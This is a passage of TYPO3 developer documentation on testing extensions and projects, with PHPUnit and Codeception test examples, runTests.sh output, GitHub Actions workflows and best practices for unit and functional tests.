Next, we have another iteration of runTests.sh and docker-compose.yml that are longer than the versions of enetcache to handle the functional and acceptance tests setups, too.

With this in place we can run unit tests:

git clone git@github.com:TYPO3/styleguide.git
cd styleguide
Build/Scripts/runTests.sh -s composerInstall
# Run unit tests
Build/Scripts/runTests.sh
# ... OK (1 test, 4 assertions)
Copied!

Functional testing

At the time writing, there is only a single functional test, but this one is important as it tests crucial functionality within styleguide: The extension comes with several different TCA scenarios to show all sorts of database relation and field possibilities supported within TYPO3. To simplify testing, code can generate a page tree and demo data for all of these scenarios. Codewise, this is a huge section of the extension and it uses quite some Core API to do its job. And yes, the generator breaks once in a while. A perfect scenario for a functional test! (slightly stripped):

<?php
namespace TYPO3\CMS\Styleguide\Tests\Functional\TcaDataGenerator;

use TYPO3\CMS\Core\Core\Bootstrap;
use TYPO3\CMS\Styleguide\TcaDataGenerator\Generator;
use TYPO3\TestingFramework\Core\Functional\FunctionalTestCase;

/**
 * Test case
 */
class GeneratorTest extends FunctionalTestCase
{
    /**
     * @var array Have styleguide loaded
     */
    protected $testExtensionsToLoad = [
        'typo3conf/ext/styleguide',
    ];

    /**
     * Just a dummy to show that at least one test is actually executed on mssql
     *
     * @test
     */
    public function dummy()
    {
        $this->assertTrue(true);
    }

    /**
     * @test
     * @group not-mssql
     * @todo Generator does not work using mssql DMBS yet ... fix this
     */
    public function generatorCreatesBasicRecord()
    {
        // styleguide generator uses DataHandler for some parts. DataHandler needs an
        // initialized BE user with admin right and the live workspace.
        Bootstrap::initializeBackendUser();
        $GLOBALS['BE_USER']->user['admin'] = 1;
        $GLOBALS['BE_USER']->user['uid'] = 1;
        $GLOBALS['BE_USER']->workspace = 0;
        Bootstrap::initializeLanguageObject();

        // Verify there is no tx_styleguide_elements_basic yet
        $queryBuilder = $this->getConnectionPool()->getQueryBuilderForTable('tx_styleguide_elements_basic');
        $queryBuilder->getRestrictions()->removeAll();
        $count = $queryBuilder->count('uid')
             ->from('tx_styleguide_elements_basic')
             ->execute()
             ->fetchColumn(0);
        $this->assertEquals(0, $count);

        $generator = new Generator();
        $generator->create();

        // Verify there is at least one tx_styleguide_elements_basic record now
        $queryBuilder = $this->getConnectionPool()->getQueryBuilderForTable('tx_styleguide_elements_basic');
        $queryBuilder->getRestrictions()->removeAll();
        $count = $queryBuilder->count('uid')
             ->from('tx_styleguide_elements_basic')
             ->execute()
             ->fetchColumn(0);
        $this->assertGreaterThan(0, $count);
     }
 }
Copied!

Ah, shame on us! The data generator does not work well if executed using MSSQL as our DBMS. It is thus marked as @group not-mssql at the moment. We need to fix that at some point. The rest is rather straight forward: We extend from \TYPO3\TestingFramework\Core\Functional\FunctionalTestCase, instruct it to load the styleguide extension ( $testExtensionsToLoad), need some additional magic for the DataHandler, then call $generator->create(); and verify it created at least one record in one of our database tables. That's it. It executes fine using runTests.sh:

lolli@apoc /var/www/local/git/styleguide $ Build/Scripts/runTests.sh -s functional
Creating network "local_default" with the default driver
Creating local_mariadb10_1 ... done
Waiting for database start...
Database is up
PHP 7.2.11-3+ubuntu18.04.1+deb.sury.org+1 (cli) (built: Oct 25 2018 06:44:08) ( NTS )
PHPUnit 7.1.5 by Sebastian Bergmann and contributors.

..                                                                  2 / 2 (100%)

Time: 5.23 seconds, Memory: 28.00MB

OK (2 tests, 3 assertions)
Stopping local_mariadb10_1 ... done
Removing local_functional_mariadb10_run_1 ... done
Removing local_mariadb10_1                ... done
Removing network local_default
lolli@apoc /var/www/local/git/styleguide $
Copied!

The good thing about this test is that it actually triggers quite some functionality below. It does tons of database inserts and updates and uses the Core DataHandler for various details. If something goes wrong in this entire area, it would throw an exception, the functional test would recognize this and fail. But if its green, we know that a large parts of that extension are working correctly.

If looking at details - for instance if we try to fix the MSSQL issue - runTests.sh can be called with -x again for xdebug break pointing. Also, the functional test execution becomes a bit funny: We are creating a TYPO3 test instance within .Build/ folder anyway. But the functional test setup again creates instances for the single tests cases. The code that is actually executed is now located in a sub folder of typo3temp/ of .Build/, in this test case it is functional-9ad521a:

lolli@apoc /var/www/local/git/styleguide $ ls -l .Build/Web/typo3temp/var/tests/functional-9ad521a/
total 16
drwxr-sr-x 4 lolli www-data 4096 Nov  5 17:35 fileadmin
lrwxrwxrwx 1 lolli www-data   50 Nov  5 17:35 index.php -> /var/www/local/git/styleguide/.Build/Web/index.php
lrwxrwxrwx 1 lolli www-data   46 Nov  5 17:35 typo3 -> /var/www/local/git/styleguide/.Build/Web/typo3
drwxr-sr-x 4 lolli www-data 4096 Nov  5 17:35 typo3conf
lrwxrwxrwx 1 lolli www-data   40 Nov  5 17:35 typo3_src -> /var/www/local/git/styleguide/.Build/Web
drwxr-sr-x 4 lolli www-data 4096 Nov  5 17:35 typo3temp
drwxr-sr-x 2 lolli www-data 4096 Nov  5 17:35 uploads
Copied!

This can be confusing at first, but it starts making sense the more you use it. Also, the docker-compose.yml file contains a setup to start needed databases for the functional tests and runTests.sh is tuned to call the different scenarios.

Acceptance testing

Not enough! The styleguide extension adds a module to the TYPO3 backend to the Topbar > Help section. Next to other things, this module adds buttons to create and delete the demo data that has been functional tested above already. To verify this works in the backend as well, styleguide comes with some straight acceptance tests in Tests/Acceptance/Backend/ModuleCest:

<?php
declare(strict_types = 1);
namespace TYPO3\CMS\Styleguide\Tests\Acceptance\Backend;

use TYPO3\CMS\Styleguide\Tests\Acceptance\Support\BackendTester;
use TYPO3\TestingFramework\Core\Acceptance\Helper\Topbar;

/**
 * Tests the styleguide backend module can be loaded
 */
class ModuleCest
{
    /**
     * Selector for the module container in the topbar
     *
     * @var string
     */
    public static $topBarModuleSelector = '#typo3-cms-backend-backend-toolbaritems-helptoolbaritem';

    /**
     * @param BackendTester $I
     */
    public function _before(BackendTester $I)
    {
        $I->useExistingSession('admin');
    }

    /**
     * @param BackendTester $I
     */
    public function styleguideInTopbarHelpCanBeCalled(BackendTester $I)
    {
        $I->click(Topbar::$dropdownToggleSelector, self::$topBarModuleSelector);
        $I->canSee('Styleguide', self::$topBarModuleSelector);
        $I->click('Styleguide', self::$topBarModuleSelector);
        $I->switchToContentFrame();
        $I->see('TYPO3 CMS Backend Styleguide', 'h1');
    }

    /**
     * @depends styleguideInTopbarHelpCanBeCalled
     * @param BackendTester $I
     */
    public function creatingDemoDataWorks(BackendTester $I)
    {
        $I->click(Topbar::$dropdownToggleSelector, self::$topBarModuleSelector);
        $I->canSee('Styleguide', self::$topBarModuleSelector);
        $I->click('Styleguide', self::$topBarModuleSelector);
        $I->switchToContentFrame();
        $I->see('TYPO3 CMS Backend Styleguide', 'h1');
        $I->click('TCA / Records');
        $I->waitForText('TCA test records');
        $I->click('Create styleguide page tree with data');
        $I->waitForText('A page tree with styleguide TCA test records was created.', 300);
    }

    /**
     * @depends creatingDemoDataWorks
     * @param BackendTester $I
     */
    public function deletingDemoDataWorks(BackendTester $I)
    {
        $I->click(Topbar::$dropdownToggleSelector, self::$topBarModuleSelector);
        $I->canSee('Styleguide', self::$topBarModuleSelector);
        $I->click('Styleguide', self::$topBarModuleSelector);
        $I->switchToContentFrame();
        $I->see('TYPO3 CMS Backend Styleguide', 'h1');
        $I->click('TCA / Records');
        $I->waitForText('TCA test records');
        $I->click('Delete styleguide page tree and all styleguide data records');
        $I->waitForText('The styleguide page tree and all styleguide records were deleted.', 300);
    }
}
Copied!

There are three tests: One verifies the backend module can be called, one creates demo data, the last one deletes demo data again. The codeception setup needs a bit more attention to setup, though. The entry point is the main codeception.yml file extended by the backend suite, a backend tester and a codeception bootstrap extension that instructs the basic typo3/testing-framework acceptance bootstrap to load the styleguide extension and have some database fixtures included to easily log in to the backend. Additionally, the runTests.sh and docker-compose.yml files take care of adding selenium-chrome and a web server to actually execute the tests:

lolli@apoc /var/www/local/git/styleguide $ Build/Scripts/runTests.sh -s acceptance
Creating network "local_default" with the default driver
Creating local_chrome_1    ... done
Creating local_web_1       ... done
Creating local_mariadb10_1 ... done
Waiting for database start...
Database is up
Codeception PHP Testing Framework v2.5.1
Powered by PHPUnit 7.1.5 by Sebastian Bergmann and contributors.
Running with seed:


  Generating BackendTesterActions...

TYPO3\CMS\Styleguide\Tests\Acceptance\Support.Backend Tests (3) -------------------------------------------------------
Modules: WebDriver, \TYPO3\TestingFramework\Core\Acceptance\Helper\Acceptance, \TYPO3\TestingFramework\Core\Acceptance\Helper\Login, Asserts
-----------------------------------------------------------------------------------------------------------------------
⏺ Recording ⏺ step-by-step screenshots will be saved to /var/www/local/git/styleguide/Tests/../.Build/Web/typo3temp/var/tests/AcceptanceReports/
Directory Format: record_5be078fb43f86_{filename}_{testname} ----

  Database Connection: {"Connections":{"Default":{"driver":"mysqli","dbname":"func_test_at","host":"mariadb10","user":"root","password":"funcp"}}}
  Loaded Extensions: ["core","extbase","fluid","backend","about","install","frontend","recordlist","typo3conf/ext/styleguide"]
ModuleCest: Styleguide in topbar help can be called

...

Time: 27.89 seconds, Memory: 28.00MB

OK (3 tests, 6 assertions)
Stopping local_mariadb10_1 ... done
Stopping local_chrome_1    ... done
Stopping local_web_1       ... done
Removing local_acceptance_backend_mariadb10_run_1 ... done
Removing local_mariadb10_1                        ... done
Removing local_chrome_1                           ... done
Removing local_web_1                              ... done
Removing network local_default
Copied!

Ok, this setup is a bit more effort, but we end up with a browser automatically clicking things in an ad-hoc TYPO3 instance to verify this extension can perform its job. If something goes wrong, screenshots of the failed run can be found in .Build/Web/typo3temp/var/tests/AcceptanceReports/.

Github Actions

Now we want all of this automatically checked using Github Actions. As before, we define the jobs in .github/workflows/ci.yml:

name: CI

on: [push, pull_request]

jobs:

  testsuite:
    name: all tests
    runs-on: ubuntu-latest
    strategy:
      matrix:
        php: [ '7.4', '8.0', '8.1' ]
    steps:
      - name: Checkout
        uses: actions/checkout@v2

      - name: Install testing system
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s composerInstall

      - name: Composer validate
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s composerValidate

      - name: Lint PHP
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s lint

      - name: CGL
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s cgl

      - name: phpstan
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s phpstan

      - name: Unit Tests
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s unit

      - name: Functional Tests with mariadb
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d mariadb -s functional

      - name: Functional Tests with mssql
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d mssql -s functional

      - name: Functional Tests with postgres
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d postgres -s functional

      - name: Functional Tests with sqlite
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -d sqlite -s functional

      - name: Acceptance Tests
        run: Build/Scripts/runTests.sh -p ${{ matrix.php }} -s acceptance
Copied!

This is similar to the enetcache example, but does some more: The functional tests are executed with four different DBMS (MariaDB, MSSQL, Postgres, sqlite), and the acceptance tests are executed, too. This setup takes some time to complete on Github Actions. But, it's green!

Project testing

Introduction

Testing entire projects is somehow different from Core and extension testing. As a developer or maintainer of a specific TYPO3 instance, you probably do not want to test extension details too much - those should have been tested on an extension level already. And you probably also do not want to check too many TYPO3 backend details but look for acceptance testing of your local development, stage and live frontend website instead.

Project testing is thus probably wired into your specific CI and deployment environment. Maybe you want to automatically fire your acceptance tests as soon as some code has been merged to your projects develop branch and pushed to a staging system?

Documenting all the different decisions that may have been taken by agencies and other project developers is way too much for this little document. We thus document only one example how project testing could work: We have some "site" repository based on ddev and add basic acceptance testing to it, executed locally and by GitHub Actions.

This is thought as an inspiration you may want to adapt for your project.

Project site-introduction

The site-introduction TYPO3 project is a straight ddev based setup that aims to simplify handling the introduction extension. It delivers everything needed to have a working introduction based project, to manage content and export it for new introduction extension releases.

Since we're lazy and like well defined but simply working environments, this project is based on ddev. The repository is a simple project setup that defines a working TYPO3 instance. And we want to make sure we do not break main parts if we fiddle with it. Just like any other projects wants.

The quick start for an own site based on this repository boils down to these commands, with more details mentioned in README.md:

lolli@apoc /var/www/local $ git clone git@github.com:TYPO3-Documentation/site-introduction.git
lolli@apoc /var/www/local $ cd site-introduction
lolli@apoc /var/www/local/site-introduction $ ddev start
lolli@apoc /var/www/local/site-introduction $ ddev import-db --src=./data/db.sql
lolli@apoc /var/www/local/site-introduction $ ddev import-files --src=./assets
lolli@apoc /var/www/local/site-introduction $ ddev composer install
Copied!

This will start various containers: A database, a phpmyadmin instance, and a web server. If all goes well, the instance is reachable on https://introduction.ddev.site.

Local acceptance testing

There has been one main patch adding acceptance testing to the site-introduction repository.

The goal is to run some acceptance tests against the current website that has been set up using ddev and execute this via GitHub Actions on each run.

The solution is to add the basic selenium-chrome container as additional ddev container, add codeception as require-dev dependency, add some codeception actor, a test and a basic codeception.yml file. Tests are then executed within the container to the locally running ddev setup.

Let's have a look at some more details: ddev allows to add further containers to the setup. We did that for the selenium-chrome container that pilots the acceptance tests as .ddev/docker-compose.chrome.yaml:

version: '3.6'
services:
  selenium:
    container_name: ddev-${DDEV_SITENAME}-chrome
    image: selenium/standalone-chrome:3.12
    environment:
      - VIRTUAL_HOST=$DDEV_HOSTNAME
      - HTTP_EXPOSE=4444
    external_links:
      - ddev-router:$DDEV_HOSTNAME
Copied!

With this in place and calling ddev start, another container with name ddev-introduction-chrome is added to the other containers, running in the same docker network. More information about setups like these can be found in the ddev documentation.

To execute acceptance tests in this installation you have to activate this file, usually it is now appended with the suffix .inactive and therefore not used when DDEV starts. To activate acceptance tests the file .ddev/docker-compose.chrome.yaml.inactive has to be renamed to .ddev/docker-compose.chrome.yaml. By default acceptance tests are disabled because they slow down other tests significantly.

Next, after adding codeception as require-dev dependency in composer.json, we need a basic Tests/codeception.yml file:

namespace: Bk2k\SiteIntroduction\Tests\Acceptance\Support
suites:
  acceptance:
    actor: AcceptanceTester
    path: .
    modules:
      enabled:
        - Asserts
        - WebDriver:
            url: https://introduction.ddev.site
            browser: chrome
            host: ddev-introduction-chrome
            wait: 1
            window_size: 1280x1024
extensions:
  enabled:
    - Codeception\Extension\RunFailed
    - Codeception\Extension\Recorder

paths:
  tests: Acceptance
  output: ../var/log/_output
  data: .
  support: Acceptance/Support

settings:
  shuffle: false
  lint: true
  colors: true
Copied!

This tells codeception there is a selenium instance at ddev-introduction-chrome with chrome, the website is reachable as https://introduction.ddev.site, it enables some codeception plugins and specifies a couple of logging details. The codeception documentation goes into details about these.

Now we need a simple first test which is added as Tests/Acceptance/Frontend/FrontendPagesCest.php:

EXT:site_introduction/Tests/Acceptance/Frontend/FrontendPagesCest.php
<?php
declare(strict_types = 1);
namespace Bk2k\SiteIntroduction\Tests\Acceptance\Frontend;
use Bk2k\SiteIntroduction\Tests\Acceptance\Support\AcceptanceTester;
class FrontendPagesCest
{
    /**
     * @param AcceptanceTester $I
     */
    public function firstPageIsRendered(AcceptanceTester $I)
    {
        $I->amOnPage('/');
        $I->see('Open source, enterprise CMS delivering  content-rich digital experiences on any channel,  any device, in any language');
        $I->click('Customize');
        $I->see('Incredible flexible');
    }
}
Copied!

It just calls the homepage of our instance, clicks one of the links and verifies some text is shown. Straight, but enough to see if the basic instance does work.

Ah, and we need a "Tester" in the Support directory.

That's it. We can now execute the acceptance test suite by executing a command in the ddev PHP container:

lolli@apoc /var/www/local/site-introduction $ ddev exec bin/codecept run acceptance -d -c Tests/codeception.yml
Codeception PHP Testing Framework v2.5.6
Powered by PHPUnit 7.5.20 by Sebastian Bergmann and contributors.
Running with seed:


Bk2k\SiteIntroduction\Tests\Acceptance\Support.acceptance Tests (1) -------------------------------------------------------------------------------------------------
Modules: Asserts, WebDriver
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
⏺ Recording ⏺ step-by-step screenshots will be saved to /var/www/html/Tests/../var/log/_output/
Directory Format: record_5be441bbdc8ed_{filename}_{testname} ----
FrontendPagesCest: First page is rendered
Signature: Bk2k\SiteIntroduction\Tests\Acceptance\Frontend\FrontendPagesCest:firstPageIsRendered
Test: Acceptance/Frontend/FrontendPagesCest.php:firstPageIsRendered
Scenario --
 I am on page "/"
  [GET] https://introduction.ddev.site/
 I see "Open source, enterprise CMS delivering  content-rich digital experiences on any channel,  any device, in any language"
 I click "Customize"
 I see "Incredible flexible"
 PASSED

---------------------------------------------------------------------------------------------------------------------------------------------------------------------
⏺ Records saved into: file:///var/www/html/Tests/../var/log/_output/records.html


Time: 8.46 seconds, Memory: 8.00MB

OK (1 test, 2 assertions)

lolli@apoc /var/www/local/site-introduction $
Copied!

Done: Local test execution of a projects acceptance test!

GitHub Actions

With local testing in place, we now want tests to run automatically when something is merged into the repository, and when people create pull requests for our project, we want to make sure that our carefully crafted test setup actually works. We're going to use Github's Actions CI service to get that done. It's free for open source projects. To tell the CI what to do, create a new workflow file in .github/workflows/tests.yml

name: tests

on:
  push:
  pull_request:
  workflow_dispatch:

jobs:
  testsuite:
    name: all tests
    runs-on: ubuntu-20.04
    steps:
      - name: Checkout
        uses: actions/checkout@v2

      - name: Start DDEV
        uses: jonaseberle/github-action-setup-ddev@v1

      - name: Import database
        run: ddev import-db --src=./data/db.sql

      - name: Import files
        run: ddev import-files --src=./assets

      - name: Install Composer packages
        run: ddev composer install

      - name: Allow public access of var folder
        run: sudo chmod 0777 ./var

      - name: Run acceptance tests
        run: ddev exec bin/codecept run acceptance -d -c Tests/codeception.yml
Copied!

It's possible to see executed test runs online. Green :)

Summary

This chapter is a show case how project testing can be done. Our example projects makes it easy for us since the ddev setup allows us to fully kickstart the entire instance and then run tests on it. Your project setup may be probably different, you may want to run tests against some other web endpoint, you may want to trigger that from within your CI and deployment phase and so on. These setups are out of scope of this document, but maybe the chapter is a good starting point and you can derive your own solution from it.

Writing unit tests

Introduction

This chapter goes into details about writing and maintaining unit tests in the TYPO3 world. Core developers over the years gained quite some knowledge and experience on this topic, this section outlines some best practices and goes into details about some of the TYPO3 specific unit testing details that have been put on top of the native phpunit stack: At the time of this writing the TYPO3 Core contains about ten thousand unit tests - many of them are good, some are bad and we're constantly improving details. Unit testing is a great playground for interested contributors, and most extension developers probably learn something useful from reading this section, too.

Note this chapter is not a full "How to write unit tests" documentation: It contains some examples, but mostly goes into details of the additions typo3/testing-framework puts on top.

Furthermore, this documentation is a general guide. There can be reasons to violate them. These are no hard rules to always follow.

When to unit test

It depends on the code you're writing if unit testing that specific code is useful or not. There are certain areas that scream to be unit tested: You're writing a method that does some PHP array munging or sorting, juggling keys and values around? Unit test this! You're writing something that involves date calculations? No way to get that right without unit testing! You're throwing a regex at some string? The unit test data provider should already exist before you start with implementing the method!

In general, whenever a rather small piece of code does some dedicated munging on a rather small set of data, unit testing this isolated piece is helpful. It's a healthy developer attitude to assume any written code is broken. Isolating that code and throwing unit tests at it will proof its broken. Promised. Add edge cases to your unit test data provider, feed it with whatever you can think of and continue doing that until your code survives all that. Depending on your use case, develop test-driven: Test first, fail, fix, refactor, next iteration.

Good to-be-unit-tested code does usually not contain much state, sometimes it's static. Services or utilities are often good targets for unit testing, sometimes some detail method of a class that has not been extracted to an own class, too.

When not to unit test

Simply put: Do not unit test "glue code". There are persons proclaiming "100% unit test coverage". This does not make sense. As an extension developer working on top of framework functionality, it usually does not make sense to unit test glue code. What is glue code? Well, code that fetches things from one underlying part and feeds it to some other part: Code that "glues" framework functionality together.

Good examples are often Extbase MVC controller actions: A typical controller usually does not do much more than fetching some objects from a repository just to assign them to the view. There is no benefit in adding a unit test for this: A unit test can't do much more than verifying some specific framework methods are actually called. It thus needs to mock the object dependencies to only verify some method is hit with some argument. This is tiresome to set up and you're then testing a trivial part of your controller: Looking at the controller clearly shows the underlying method is called. Why bother?

Another example are Extbase models: Most Extbase model properties consist of a protected property, a getter and a setter method. This is near no-brainer code, and many developers auto-generate getters and setters by an IDE anyway. Unit testing this code leads to broken tests with each trivial change of the model class. That's tiresome and likely some waste of time. Concentrate unit testing efforts on stuff that does data munging magic as outlined above! One of your model getters initializes some object storage, then sorts and filters objects? That can be helpful if unit tested, your filter code is otherwise most likely broken. Add unit tests to prove it's not.

A much better way of testing glue code are functional tests: Set up a proper scenario in your database, then call your controller that will use your repository and models, then verify your view returns something useful. With adding a functional test for this you can kill many birds with one stone. This has many more benefits than trying to unit test glue code.

A good sign that your unit test would be more useful if it is turned into a functional test is if the unit tests needs lots of lines of code to mock dependencies, just to test something using ->shouldBeCalled() on some mock to verify on some dependency is actually called. Go ahead and read some unit tests provided by the Core: We're sure you'll find a bad unit test that could be improved by creating a functional test from it.

Unit test conventions

TYPO3 unit testing means using the phpunit testing framework. TYPO3 comes with as basic UnitTests.xml file that can be used by Core and extensions. This references a phpunit bootstrap file so phpunit does find our main classes. Apart from that, there are little conventions: Tests for some "system under test" class in the Classes/ folder should be located at the same position within the Test/Unit folder having the additional suffix Test.php to the system under test file name. The class of the test file should extend the basic unit test abstract \TYPO3\TestingFramework\Core\Unit\UnitTestCase. Single tests should be named starting with the method that is tested plus some explaining suffix and should be annotated with @test.

Example for a system under test located at typo3/sysext/core/Utility/ArrayUtility.php (stripped):

typo3/sysext/core/Utility/ArrayUtility.php
<?php
namespace TYPO3\CMS\Core\Utility;
class ArrayUtility
{

    //...

    public static function filterByValueRecursive($needle = '', array $haystack = [])
    {
        // System under test code
    }
}
Copied!

The test file is located at typo3/sysext/core/Tests/Unit/Utility/ArrayUtilityTest.php (stripped):

typo3/sysext/core/Tests/Unit/Utility/ArrayUtilityTest.php
<?php
namespace TYPO3\CMS\Core\Tests\Unit\Utility;
use TYPO3\CMS\Core\Utility\ArrayUtility;
use TYPO3\TestingFramework\Core\Unit\UnitTestCase;
class ArrayUtilityTest extends UnitTestCase
{

    //...

    /**
     * @test
     * @dataProvider filterByValueRecursive
     */
    public function filterByValueRecursiveCorrectlyFiltersArray($needle, $haystack, $expectedResult)
    {
        // Unit test code
    }
}
Copied!

This way it is easy to find unit tests for any given file. Note PhpStorm understands this structure and can jump from a file to the according test file by hitting CTRL+Shift+T.

Keep it simple

This is an important rule in testing: Keep tests as simple as possible! Tests should be easy to write, understand, read and refactor. There is no point in complex and overly abstracted tests. Those are pain to work with. The basic guides are: No loops, no additional class inheritance, no additional helper methods if not really needed, no additional state. As simple example, there is often no point in creating an instance of the subject in setUp() just to park it as in property. It is easier to read to just have a $subject = new MyClass() call in each test at the appropriate place. Test classes are often much longer than the system under test. That is ok. It's better if a single test is very simple and to copy over lines from one to the other test over and over again than trying to abstract that away. Keep tests as simple as possible to read and don't use fancy abstraction features.

Extending UnitTestCase

Extending a unit test from class \TYPO3\TestingFramework\Core\Unit\UnitTestCase of the typo3/testing-framework package instead of the native phpunit class \PHPUnit\Framework\TestCase adds some functionality on top of phpunit:

  • Environment backup: If a unit test has to fiddle with the Environment class, setting property $backupEnvironment to true instructs the unit test to reset the state after each call.
  • If a system under test creates instances of classes implementing SingletonInterface, setting property $resetSingletonInstances to true instructs the unit test to reset internal GeneralUtility scope after each test. tearDown() will fail if there are dangling singletons, otherwise.
  • Adding files or directories to array property $testFilesToDelete instructs the test to delete certain files or entire directories that have been created by unit tests. This property is useful to keep the system clean.
  • A generic tearDown() method: That method is designed to test for TYPO3 specific global state changes and to let a unit test fail if it does not take care of these. For instance, if a unit tests add a singleton class to the system but does not declare that singletons should be flushed, the system will recognize this and let the according test fail. This is a great help for test developers to not run into side effects between unit tests. It is usually not needed to override this method, but if you do, call parent::tearDown() at the end of the inherited method to have the parent method kick in!
  • A getAccessibleMock() method: This method can be useful if a protected method of the system under test class needs to be accessed. It also allows to "mock-away" other methods, but keep the method that is tested. Note this method should not be used if just a full class dependency needs to be mocked. Use prophecy (see below) to do this instead. If you find yourself using that method, it's often a hint that something in the system under test is broken and should be modelled differently. So, don't use that blindly and consider extracting the system under test to a utility or a service. But yes, there are situations when getAccessibleMock() can be very helpful to get things done.

General hints

  • Creating an instance of the system under test should be done with new in the unit test and not using GeneralUtility::makeInstance().
  • Only use getAccessibleMock() if parts of the system under test class itself needs to be mocked. Never use it for an object that is created by the system under test itself.
  • Unit tests are by default configured to fail if a notice level PHP error is triggered. This has been used in the Core to slowly make the framework notice free. Extension authors may fall into a trap here: First, the unit test code itself, or the system under test may trigger notices. Developers should fix that. But it may happen a Core dependency triggers a notice that in turn lets the extensions unit test fail. At best, the extension developer pushes a patch to the Core to fix that notice. Another solution is to mock the dependency away, which may however not be desired or possible - especially with static dependencies.

A casual data provider

This is one of the most common use cases in unit testing: Some to-test method ("system under test") takes some argument and a unit tests feeds it with a series of input arguments to verify output is as expected. Data providers are used quite often for this and we encourage developers to do so, too. An example test from ArrayUtilityTest:

typo3/sysext/core/Tests/Unit/Utility/ArrayUtilityTest.php
/**
 * Data provider for removeByPathRemovesCorrectPath
 */
public function removeByPathRemovesCorrectPathDataProvider()
{
    return [
        'single value' => [
            [
                'foo' => [
                    'toRemove' => 42,
                    'keep' => 23
                ],
            ],
            'foo/toRemove',
            [
                'foo' => [
                    'keep' => 23,
                ],
            ],
        ],
        'whole array' => [
            [
                'foo' => [
                    'bar' => 42
                ],
            ],
            'foo',
            [],
        ],
        'sub array' => [
            [
                'foo' => [
                    'keep' => 23,
                    'toRemove' => [
                        'foo' => 'bar',
                    ],
                ],
            ],
            'foo/toRemove',
            [
                'foo' => [
                    'keep' => 23,
                ],
            ],
        ],
    ];
}

/**
 * @test
 * @dataProvider removeByPathRemovesCorrectPathDataProvider
 * @param array $array
 * @param string $path
 * @param array $expectedResult
 */
public function removeByPathRemovesCorrectPath(array $array, $path, $expectedResult)
{
    $this->assertEquals(
        $expectedResult,
        ArrayUtility::removeByPath($array, $path)
    );
}
Copied!

Some hints on this: Try to give the single data sets good names, here "single value", "whole array" and "sub array". This helps to find a broken data set in the code, it forces the test writer to think about what they are feeding to the test and it helps avoiding duplicate sets. Additionally, put the data provider directly before the according test and name it "test name" + "DataProvider". Data providers are often not used in multiple tests, so that should almost always work.

Mocking

Unit tests should test one thing at a time, often one method only. If the system under test has dependencies like additional objects, they should be usually "mocked away". A simple example is this, taken from \TYPO3\CMS\Backend\Tests\Unit\Controller\FormInlineAjaxControllerTest:

typo3/sysext/backend/Tests/Unit/Controller/FormInlineAjaxControllerTest.php
/**
 * @test
 */
public function createActionThrowsExceptionIfContextIsEmpty(): void
{
    $requestProphecy = $this->prophesize(ServerRequestInterface::class);
    $requestProphecy->getParsedBody()->shouldBeCalled()->willReturn(
        [
            'ajax' => [
                'context' => '',
            ],
        ]
    );
    $this->expectException(\RuntimeException::class);
    $this->expectExceptionCode(1489751361);
    (new FormInlineAjaxController())->createAction($requestProphecy->reveal());
}
Copied!

Prophecy is a nice mocking framework bundled into phpunit by default. Many people prefer it nowadays over phpunit's own mock framework based on ->getMock() and we encourage to use prophecy: Prophecy code is often easier to read and the separation of the dummy object that is given to the system under test, the "revelation", and the object prophecy is quite handy. Prophecy is quite some fun to use, go ahead and play around with it.

The above case is pretty straight since the mocked dependency is hand over as argument to the system under test. If the system under test however creates an instance of the to-mock dependency on its own - typically using GeneralUtility::makeInstance(), the mock instance can be manually registered for makeInstance:

EXT:my_extension/Tests/Unit/SomeTest.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Imaging\IconFactory;

GeneralUtility::addInstance(IconFactory::class, $iconFactoryProphecy->reveal());
Copied!

This works well for prototypes. addInstance() adds objects to a LiFo, multiple instances of the same class can be stacked. The generic ->tearDown() later confirms the stack is empty to avoid side effects on other tests. Singleton instances can be registered in a similar way:

EXT:my_extension/Tests/Unit/SomeTest.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Extbase\Service\EnvironmentService;

 GeneralUtility::setSingletonInstance(EnvironmentService::class, $environmentServiceMock);
Copied!

If adding singletons, make sure to set the property protected $resetSingletonInstances = true;, otherwise ->tearDown() will detect a dangling singleton and let's the unit test fail to avoid side effects on other tests.

Static dependencies

If a system under test has a dependency to a static method (typically from a utility class), then hopefully the static method is a "good" dependency that sticks to the general static method guide: A "good" static dependency has no state, triggers no further code that has state. If this is the case, think of this dependency code as being inlined within the system under test directly. Do not try to mock it away, just test it along with the system under test.

If however the static method that is called is a "bad" dependency that statically calls further magic by creating new objects, doing database calls and has own state, this is harder to come by. One solution is to extract the static method call to an own method, then use getAccessibleMock() to mock that method away. And yeah, that is ugly. Unit tests can quite quickly show which parts of the framework are not modelled in a good way. A typical case is \TYPO3\CMS\Backend\Utility\BackendUtility - trying to unit test systems that have this class as dependency is often very painful. There is not much developers can do in this case. The Core tries to slowly improve these areas over time and indeed BackendUtility is shrinking each version.

Exception handling

Code should throw exceptions if something goes wrong. See working with exceptions for some general guides on proper exception handling. Exceptions are often very easy to unit test and testing them can be beneficial. Let's take a simple example, this is from \TYPO3\CMS\Core\Tests\Unit\Cache\CacheManagerTest and tests both the exception class and the exception code:

typo3/sysext/core/Tests/Unit/Cache/CacheManagerTest.php
use TYPO3\CMS\Core\Cache\CacheManager;
use TYPO3\CMS\Core\Cache\Exception\NoSuchCacheGroupException;

/**
* @test
*/
public function flushCachesInGroupThrowsExceptionForNonExistingGroup()
{
  $this->expectException(NoSuchCacheGroupException::class);
  $this->expectExceptionCode(1390334120);
  $subject = new CacheManager();
  $subject->flushCachesInGroup('nonExistingGroup');
}
Copied!

Writing functional tests

Introduction

Functional testing in TYPO3 world is basically the opposite of unit testing: Instead of looking at rather small, isolated pieces of code, functional testing looks at bigger scenarios with many involved dependencies. A typical scenario creates a full instance with some extensions, puts some rows into the database and calls an entry method, for instance a controller action. That method triggers dependent logic that changes data. The tests end with comparing the changed data or output is identical to some expected data.

This chapter goes into details on functional testing and how the typo3/testing-framework helps with setting up, running and verifying scenarios.

Overview

